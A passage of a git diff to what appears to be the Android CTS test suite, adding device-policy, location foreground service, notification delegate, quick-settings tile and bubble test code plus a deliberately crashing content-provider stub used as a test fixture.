new file mode 100644
index 0000000..58d02a3
--- /dev/null
+++ b/tests/admin/OWNERS
@@ -0,0 +1,9 @@
+# Bug component: 100560
+sandness@google.com
+rubinxu@google.com
+eranm@google.com
+kholoudm@google.com
+pgrafov@google.com
+alexkershaw@google.com
+arangelov@google.com
+scottjonathan@google.com
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index e34478c..aa52abe 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -274,6 +274,19 @@
}
}
+ public void testSetLocationEnabled_failIfNotDeviceOwner() {
+ if (!mDeviceAdmin) {
+ Log.w(TAG, "Skipping testSetLocationEnabled_failIfNotDeviceOwner");
+ return;
+ }
+ try {
+ mDevicePolicyManager.setLocationEnabled(mComponent, true);
+ fail("did not throw expected SecurityException");
+ } catch (SecurityException e) {
+ assertDeviceOwnerMessage(e.getMessage());
+ }
+ }
+
public void testSetGlobalSetting_failIfNotDeviceOwner() {
if (!mDeviceAdmin) {
Log.w(TAG, "Skipping testSetGlobalSetting_failIfNotDeviceOwner");
diff --git a/tests/app/ActivityManagerApi29Test/Android.bp b/tests/app/ActivityManagerApi29Test/Android.bp
new file mode 100644
index 0000000..ed3a613
--- /dev/null
+++ b/tests/app/ActivityManagerApi29Test/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsActivityManagerApi29",
+ defaults: ["cts_support_defaults"],
+ srcs: ["**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "current",
+}
diff --git a/tests/app/ActivityManagerApi29Test/AndroidManifest.xml b/tests/app/ActivityManagerApi29Test/AndroidManifest.xml
new file mode 100644
index 0000000..2ae7497
--- /dev/null
+++ b/tests/app/ActivityManagerApi29Test/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.app.cts.activitymanager.api29">
+ <uses-sdk android:minSdkVersion="11" android:targetSdkVersion="29" />
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+
+ <application android:usesCleartextTraffic="true">
+ <uses-library android:name="android.test.runner" />
+ <uses-library android:name="org.apache.http.legacy" android:required="false" />
+ <activity android:name=".SimpleActivity" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <service android:name="LocationForegroundService"
+ android:foregroundServiceType="location"
+ android:exported="true">
+ </service>
+ </application>
+</manifest>
diff --git a/tests/app/ActivityManagerApi29Test/res/values/colors.xml b/tests/app/ActivityManagerApi29Test/res/values/colors.xml
new file mode 100644
index 0000000..d67d56a
--- /dev/null
+++ b/tests/app/ActivityManagerApi29Test/res/values/colors.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+ <drawable name="black">#77ffffff</drawable>
+</resources>
diff --git a/tests/app/ActivityManagerApi29Test/src/android/app/cts/LocationForegroundService.java b/tests/app/ActivityManagerApi29Test/src/android/app/cts/LocationForegroundService.java
new file mode 100644
index 0000000..86ea295
--- /dev/null
+++ b/tests/app/ActivityManagerApi29Test/src/android/app/cts/LocationForegroundService.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.activitymanager.api29;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class LocationForegroundService extends Service {
+ private static final String NOTIFICATION_CHANNEL_ID =
+ LocationForegroundService.class.getSimpleName();
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ getSystemService(NotificationManager.class).createNotificationChannel(
+ new NotificationChannel(NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+ NotificationManager.IMPORTANCE_DEFAULT));
+ Notification status = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+ .setContentTitle("LocalForegroundService running")
+ .setSmallIcon(R.drawable.black)
+ .build();
+ startForeground(1, status);
+ return START_STICKY;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ // TODO Auto-generated method stub
+ return null;
+ }
+
+}
+
diff --git a/tests/app/ActivityManagerApi29Test/src/android/app/cts/SimpleActivity.java b/tests/app/ActivityManagerApi29Test/src/android/app/cts/SimpleActivity.java
new file mode 100644
index 0000000..aa28b1f
--- /dev/null
+++ b/tests/app/ActivityManagerApi29Test/src/android/app/cts/SimpleActivity.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.activitymanager.api29;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * A simple activity to install for various users to test LauncherApps.
+ */
+public class SimpleActivity extends Activity {
+ @Override
+ public void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ }
+
+ @Override
+ public void onStart() {
+ super.onStart();
+ }
+
+ @Override
+ protected void onNewIntent(Intent intent) {
+ super.onNewIntent(intent);
+ if (intent.getExtras().getBoolean("finish")) {
+ finish();
+ }
+ }
+}
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 9e25fea..13adccf 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -30,6 +30,7 @@
"androidx.test.rules",
"platform-test-annotations",
"platformprotosnano",
+ "permission-test-util-lib"
],
srcs: ["src/**/*.java"],
// Tag this module as a cts test artifact
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index 7c9c985..645d233 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="force-install-mode" value="FULL"/>
@@ -28,10 +29,16 @@
<option name="test-file-name" value="CtsAppTestStubsApp3.apk" />
<option name="test-file-name" value="CtsAppTestStubsApp2.apk" />
<option name="test-file-name" value="CtsAppTestCases.apk" />
+ <option name="test-file-name" value="CtsBadProviderStubs.apk" />
<option name="test-file-name" value="CtsCantSaveState1.apk" />
<option name="test-file-name" value="CtsCantSaveState2.apk" />
<option name="test-file-name" value="NotificationDelegator.apk" />
<option name="test-file-name" value="StorageDelegator.apk" />
+ <option name="test-file-name" value="CtsActivityManagerApi29.apk" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="input keyevent KEYCODE_WAKEUP" />
+ <option name="run-command" value="wm dismiss-keyguard" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
diff --git a/tests/app/BadProviderStubs/Android.bp b/tests/app/BadProviderStubs/Android.bp
new file mode 100644
index 0000000..3180ef5
--- /dev/null
+++ b/tests/app/BadProviderStubs/Android.bp
@@ -0,0 +1,34 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsBadProviderStubs",
+ defaults: ["cts_support_defaults"],
+ static_libs: ["android-support-annotations"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ optimize: {
+ enabled: false,
+ },
+ dex_preopt: {
+ enabled: false,
+ },
+}
diff --git a/tests/app/BadProviderStubs/AndroidManifest.xml b/tests/app/BadProviderStubs/AndroidManifest.xml
new file mode 100644
index 0000000..55f2228
--- /dev/null
+++ b/tests/app/BadProviderStubs/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.stubbad">
+
+ <application>
+ <provider
+ android:name=".BadProviderStub"
+ android:authorities="com.android.cts.stubbad.badprovider"
+ android:exported="true" />
+ </application>
+
+</manifest>
diff --git a/tests/app/BadProviderStubs/src/com/android/cts/stubbad/BadProviderStub.java b/tests/app/BadProviderStubs/src/com/android/cts/stubbad/BadProviderStub.java
new file mode 100644
index 0000000..0103391
--- /dev/null
+++ b/tests/app/BadProviderStubs/src/com/android/cts/stubbad/BadProviderStub.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.stubbad;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+
+public class BadProviderStub extends ContentProvider {
+ @Override
+ public boolean onCreate() {
+ System.exit(0);
+ return false;
+ }
+
+ @Override
+ public Cursor query(@NonNull Uri uri, @Nullable String[] projection,
+ @Nullable String selection, @Nullable String[] selectionArgs,
+ @Nullable String sortOrder) {
+ return null;
+ }
+
+ @Override
+ public String getType(@NonNull Uri uri) {
+ return null;
+ }
+
+ @Override
+ public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public int delete(@NonNull Uri uri, @Nullable String selection,
+ @Nullable String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public int update(@NonNull Uri uri, @Nullable ContentValues values,
+ @Nullable String selection, @Nullable String[] selectionArgs) {
+ return 0;
+ }
+}
diff --git a/tests/app/NotificationDelegator/AndroidManifest.xml b/tests/app/NotificationDelegator/AndroidManifest.xml
index 54d1f05..fbdf219 100644
--- a/tests/app/NotificationDelegator/AndroidManifest.xml
+++ b/tests/app/NotificationDelegator/AndroidManifest.xml
@@ -30,5 +30,13 @@
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
+
+ <activity android:name="com.android.test.notificationdelegator.NotificationDelegateAndPost">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+
</application>
</manifest>
diff --git a/tests/app/NotificationDelegator/src/com/android/test/notificationdelegator/NotificationDelegateAndPost.java b/tests/app/NotificationDelegator/src/com/android/test/notificationdelegator/NotificationDelegateAndPost.java
new file mode 100644
index 0000000..521adc5
--- /dev/null
+++ b/tests/app/NotificationDelegator/src/com/android/test/notificationdelegator/NotificationDelegateAndPost.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.test.notificationdelegator;
+
+import static android.app.NotificationManager.IMPORTANCE_LOW;
+
+import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.os.Bundle;
+import android.util.Log;
+
+public class NotificationDelegateAndPost extends Activity {
+ private static final String TAG = "DelegateAndPost";
+ private static final String DELEGATE = "android.app.stubs";
+ private static final String CHANNEL = "channel";
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity);
+
+ NotificationManager nm = getSystemService(NotificationManager.class);
+
+ nm.createNotificationChannel(new NotificationChannel(CHANNEL, CHANNEL, IMPORTANCE_LOW));
+ nm.setNotificationDelegate(DELEGATE);
+ Log.d(TAG, "Set delegate: " + nm.getNotificationDelegate());
+
+ Log.d(TAG, "Posting notification with id 9");
+
+ Notification n = new Notification.Builder(this, CHANNEL)
+ .setSmallIcon(android.R.drawable.sym_def_app_icon)
+ .setContentTitle("posted by delegator")
+ .build();
+
+ nm.notify(9, n);
+
+ finish();
+ }
+}
diff --git a/tests/app/NotificationDelegator/src/com/android/test/notificationdelegator/NotificationRevoker.java b/tests/app/NotificationDelegator/src/com/android/test/notificationdelegator/NotificationRevoker.java
index b2b106e..750549a 100644
--- a/tests/app/NotificationDelegator/src/com/android/test/notificationdelegator/NotificationRevoker.java
+++ b/tests/app/NotificationDelegator/src/com/android/test/notificationdelegator/NotificationRevoker.java
@@ -32,6 +32,7 @@
NotificationManager nm = getSystemService(NotificationManager.class);
nm.setNotificationDelegate(null);
Log.d(TAG, "Removed delegate: " + nm.getNotificationDelegate());
+ nm.cancelAll();
finish();
}
}
diff --git a/tests/app/OWNERS b/tests/app/OWNERS
new file mode 100644
index 0000000..7516b62
--- /dev/null
+++ b/tests/app/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 316234
+include platform/frameworks/base:/services/core/java/com/android/server/am/OWNERS
+juliacr@google.com
+beverlyt@google.com
\ No newline at end of file
diff --git a/tests/app/StorageDelegator/src/com/android/test/storagedelegator/StorageDelegator.java b/tests/app/StorageDelegator/src/com/android/test/storagedelegator/StorageDelegator.java
index b305d8d..7f2923c 100644
--- a/tests/app/StorageDelegator/src/com/android/test/storagedelegator/StorageDelegator.java
+++ b/tests/app/StorageDelegator/src/com/android/test/storagedelegator/StorageDelegator.java
@@ -17,8 +17,6 @@
package com.android.test.storagedelegator;
import android.app.Activity;
-import android.app.IntentService;
-import android.content.Intent;
import android.os.Bundle;
import android.os.RemoteCallback;
import android.util.Log;
diff --git a/tests/app/TEST_MAPPING b/tests/app/TEST_MAPPING
index 60d71d3..ca2dd6c 100644
--- a/tests/app/TEST_MAPPING
+++ b/tests/app/TEST_MAPPING
@@ -11,5 +11,10 @@
}
]
}
+ ],
+ "postsubmit": [
+ {
+ "name": "CtsAppTestCases"
+ }
]
}
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 7d34da0..ec976cb 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -45,6 +45,7 @@
<uses-permission android:name="android.permission.SET_WALLPAPER" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT" />
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<application android:label="Android TestCase"
android:icon="@drawable/size_48x48"
@@ -79,7 +80,6 @@
</activity>
<activity android:name="android.app.stubs.InstrumentationTestActivity"
- android:theme="@style/Theme_NoSwipeDismiss"
android:label="InstrumentationTestActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
@@ -240,7 +240,6 @@
</activity>
<activity android:name="android.app.stubs.DialogStubActivity"
- android:theme="@style/Theme_NoSwipeDismiss"
android:label="DialogStubActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
@@ -316,18 +315,6 @@
<activity android:name="android.app.stubs.ActivityManagerMemoryClassTestActivity"
android:process=":memoryclass" />
- <activity android:name="android.app.stubs.PipActivity"
- android:label="PipActivity"
- android:resizeableActivity="true"
- android:supportsPictureInPicture="true"
- android:configChanges="smallestScreenSize|orientation|screenSize|screenLayout"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
- </intent-filter>
- </activity>
-
<activity android:name="android.app.stubs.PipNotSupportedActivity"
android:label="PipNotSupportedActivity"
android:resizeableActivity="true"
@@ -384,6 +371,18 @@
</intent-filter>
</service>
+ <service android:name="android.app.stubs.BooleanTestTileService"
+ android:exported="true"
+ android:label="BooleanTestTileService"
+ android:icon="@drawable/robot"
+ android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
+ <intent-filter>
+ <action android:name="android.service.quicksettings.action.QS_TILE" />
+ </intent-filter>
+ <meta-data android:name="android.service.quicksettings.BOOLEAN_TILE"
+ android:value="true"/>
+ </service>
+
<activity android:name="android.app.stubs.AutomaticZenRuleActivity">
<intent-filter>
<action android:name="android.app.action.AUTOMATIC_ZEN_RULE" />
@@ -397,28 +396,18 @@
<receiver android:name="android.app.stubs.CommandReceiver"
android:exported="true" />
- <activity android:name="android.app.stubs.BubblesTestActivity"
- android:allowEmbedded="true"
- android:documentLaunchMode="always"
- android:resizeableActivity="true"
+ <activity android:name="android.app.stubs.SendBubbleActivity"
android:turnScreenOn="true"/>
- <activity android:name="android.app.stubs.BubblesTestNotEmbeddableActivity"
- android:resizeableActivity="true"
- android:documentLaunchMode="always"
- android:exported="true"
- />
-
- <activity android:name="android.app.stubs.BubblesTestNotDocumentLaunchModeActivity"
- android:resizeableActivity="true"
- android:allowEmbedded="true"
- android:exported="true"
- />
+ <activity android:name="android.app.stubs.BubbledActivity"
+ android:resizeableActivity="true"/>
<service android:name="android.app.stubs.BubblesTestService"
android:label="BubblesTestsService"
android:exported="true">
</service>
+
+ <service android:name="android.app.stubs.LocalAlertService" />
</application>
</manifest>
diff --git a/tests/app/app/res/values/styles.xml b/tests/app/app/res/values/styles.xml
index 4758000..08cebcb 100644
--- a/tests/app/app/res/values/styles.xml
+++ b/tests/app/app/res/values/styles.xml
@@ -165,10 +165,6 @@
<item name="themeTileMode">2</item>
</style>
- <style name="Theme_NoSwipeDismiss">
- <item name="android:windowSwipeToDismiss">false</item>
- </style>
-
<style name="DialogTheme_Test" parent="@android:style/Theme.Material.Dialog">
<item name="themeInteger">20</item>
</style>
diff --git a/tests/app/app/src/android/app/stubs/BooleanTestTileService.java b/tests/app/app/src/android/app/stubs/BooleanTestTileService.java
new file mode 100644
index 0000000..fe04e00
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/BooleanTestTileService.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.content.ComponentName;
+import android.service.quicksettings.Tile;
+
+public class BooleanTestTileService extends TestTileService {
+ public static final String TAG = "BooleanTestTileService";
+ public static final String PKG = "android.app.stubs";
+ public static final int ICON_ID = R.drawable.robot;
+
+ public static String getId() {
+ return String.format("%s/%s", BooleanTestTileService.class.getPackage().getName(),
+ BooleanTestTileService.class.getName());
+ }
+
+ public static ComponentName getComponentName() {
+ return new ComponentName(BooleanTestTileService.class.getPackage().getName(),
+ BooleanTestTileService.class.getName());
+ }
+
+ public void toggleState() {
+ if (isListening()) {
+ Tile tile = sTestTileService.getQsTile();
+ switch(tile.getState()) {
+ case Tile.STATE_ACTIVE:
+ tile.setState(Tile.STATE_INACTIVE);
+ break;
+ case Tile.STATE_INACTIVE:
+ tile.setState(Tile.STATE_ACTIVE);
+ break;
+ default:
+ break;
+ }
+ tile.updateTile();
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/app/app/src/android/app/stubs/BubbledActivity.java b/tests/app/app/src/android/app/stubs/BubbledActivity.java
new file mode 100644
index 0000000..9974c88
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/BubbledActivity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * Used by NotificationManagerTest for testing policy around bubbles, this activity is shown
+ * within the bubble.
+ */
+public class BubbledActivity extends Activity {
+ final String TAG = BubbledActivity.class.getSimpleName();
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.main);
+ }
+}
diff --git a/tests/app/app/src/android/app/stubs/BubblesTestActivity.java b/tests/app/app/src/android/app/stubs/BubblesTestActivity.java
deleted file mode 100644
index 36f51c3..0000000
--- a/tests/app/app/src/android/app/stubs/BubblesTestActivity.java
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-import android.app.Notification;
-import android.app.NotificationManager;
-import android.app.PendingIntent;
-import android.content.Context;
-import android.content.Intent;
-import android.graphics.drawable.Icon;
-import android.os.Bundle;
-import android.provider.Telephony;
-import android.util.Log;
-
-/**
- * Used by NotificationManagerTest for testing policy around bubbles.
- */
-public class BubblesTestActivity extends Activity {
- final String TAG = BubblesTestActivity.class.getSimpleName();
-
- // Should be same as wht NotificationManagerTest is using
- private static final String NOTIFICATION_CHANNEL_ID = "NotificationManagerTest";
-
- public static final String BUBBLE_ACTIVITY_OPENED =
- "android.app.stubs.BUBBLE_ACTIVITY_OPENED";
- public static final int BUBBLE_NOTIF_ID = 1;
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.main);
-
- Intent i = new Intent(BUBBLE_ACTIVITY_OPENED);
- sendBroadcast(i);
- }
-
- /**
- * Sends a bubble notification that would only be allowed to bubble when the app is
- * foreground.
- */
- public void sendBubble(int i) {
- Context context = getApplicationContext();
-
- final Intent intent = new Intent(context, BubblesTestActivity.class);
- intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
- | Intent.FLAG_ACTIVITY_CLEAR_TOP);
- intent.setAction(Intent.ACTION_MAIN);
- final PendingIntent pendingIntent =
- PendingIntent.getActivity(context, 0, intent, 0);
-
- Notification.BubbleMetadata data = new Notification.BubbleMetadata.Builder()
- .setIcon(Icon.createWithResource(context, R.drawable.black))
- .setIntent(pendingIntent)
- .build();
- Notification n = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
- .setSmallIcon(R.drawable.black)
- .setWhen(System.currentTimeMillis())
- .setContentTitle("notify#" + BUBBLE_NOTIF_ID)
- .setContentText("This is #" + BUBBLE_NOTIF_ID + "notification ")
- .setContentIntent(pendingIntent)
- .setBubbleMetadata(data)
- .build();
-
- NotificationManager noMan = (NotificationManager) context.getSystemService(
- Context.NOTIFICATION_SERVICE);
- noMan.notify(BUBBLE_NOTIF_ID, n);
- Log.d(TAG, "posting bubble: " + n + ", " + i);
- }
-}
diff --git a/tests/app/app/src/android/app/stubs/BubblesTestNotDocumentLaunchModeActivity.java b/tests/app/app/src/android/app/stubs/BubblesTestNotDocumentLaunchModeActivity.java
deleted file mode 100644
index 8601ed2..0000000
--- a/tests/app/app/src/android/app/stubs/BubblesTestNotDocumentLaunchModeActivity.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-/**
- * Used by NotificationManagerTest for testing policy around bubbles.
- */
-public class BubblesTestNotDocumentLaunchModeActivity extends Activity {
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.main);
- }
-}
diff --git a/tests/app/app/src/android/app/stubs/BubblesTestNotEmbeddableActivity.java b/tests/app/app/src/android/app/stubs/BubblesTestNotEmbeddableActivity.java
deleted file mode 100644
index ced310a..0000000
--- a/tests/app/app/src/android/app/stubs/BubblesTestNotEmbeddableActivity.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-/**
- * Used by NotificationManagerTest for testing policy around bubbles.
- */
-public class BubblesTestNotEmbeddableActivity extends Activity {
-
- @Override
